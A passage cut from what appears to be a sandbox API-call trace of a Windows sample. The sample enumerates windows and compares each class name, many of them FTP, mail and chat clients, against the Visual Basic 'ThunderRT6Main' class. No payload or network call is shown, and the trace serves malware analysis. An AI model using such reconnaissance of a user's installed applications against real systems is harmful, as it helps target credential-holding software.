lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0119.370] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0119.370] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0119.370] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0119.370] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0119.370] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0119.370] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0119.370] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0119.370] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0119.370] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0119.370] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0119.370] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0119.370] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0119.370] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0119.370] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0119.370] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.370] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0119.370] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0119.370] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0119.371] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0119.371] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0119.371] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0119.371] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0119.371] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0119.371] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0119.371] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0119.371] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0119.371] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0119.371] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0119.371] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0119.371] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0119.371] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0119.371] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0119.371] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0119.371] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0119.371] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0119.371] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0119.372] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0119.372] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0119.372] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0119.372] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0119.372] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0119.372] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0119.372] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0119.372] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0119.372] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0119.372] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0119.372] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0119.372] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0119.372] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0119.372] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0119.372] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0119.372] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0119.372] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0119.373] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0119.373] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0119.373] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0119.373] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0119.373] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0119.373] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0119.373] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0119.373] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0119.373] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0119.373] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0119.373] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0119.373] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0119.373] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0119.373] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0119.373] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.373] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0119.373] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0119.373] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0119.374] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0119.374] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0119.374] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0119.374] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0119.374] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0119.374] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0119.374] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0119.374] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0119.374] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0119.374] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0119.374] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0119.374] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0119.374] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0119.374] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0119.374] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0119.374] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0119.374] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0119.375] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0119.375] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0119.375] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0119.375] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0119.375] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0119.375] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0119.375] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0119.375] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0119.375] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0119.375] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0119.375] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0119.375] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0119.375] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0119.375] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0119.375] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0119.375] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0119.375] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0119.375] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0119.376] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0119.376] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0119.376] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0119.376] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0119.376] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0119.376] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0119.376] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0119.376] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0119.376] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0119.376] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0119.376] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0119.376] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0119.376] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0119.376] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0119.376] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.376] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0119.377] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0119.377] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0119.377] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0119.377] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0119.377] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.377] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0119.377] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0119.377] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0119.377] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0119.377] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0119.377] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.377] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0119.377] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0119.377] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0119.377] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0119.377] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0119.377] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.377] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.377] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0119.378] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0119.378] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0119.378] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0119.378] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0119.378] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.378] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0119.378] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0119.378] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0119.378] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0119.378] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0119.378] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.378] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0119.378] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0119.378] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0119.378] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0119.378] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0119.378] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.378] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.378] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0119.379] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0119.379] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0119.379] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0119.379] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0119.379] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.379] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0119.379] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0119.379] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0119.379] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0119.379] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0119.379] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.379] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0119.379] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0119.379] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0119.379] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0119.379] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0119.379] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.379] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.379] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0119.379] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0119.379] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0119.380] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0119.380] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0119.380] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0119.380] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0119.380] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0119.380] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0119.380] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0119.380] GetClassNameA (in: hWnd=0x10196, 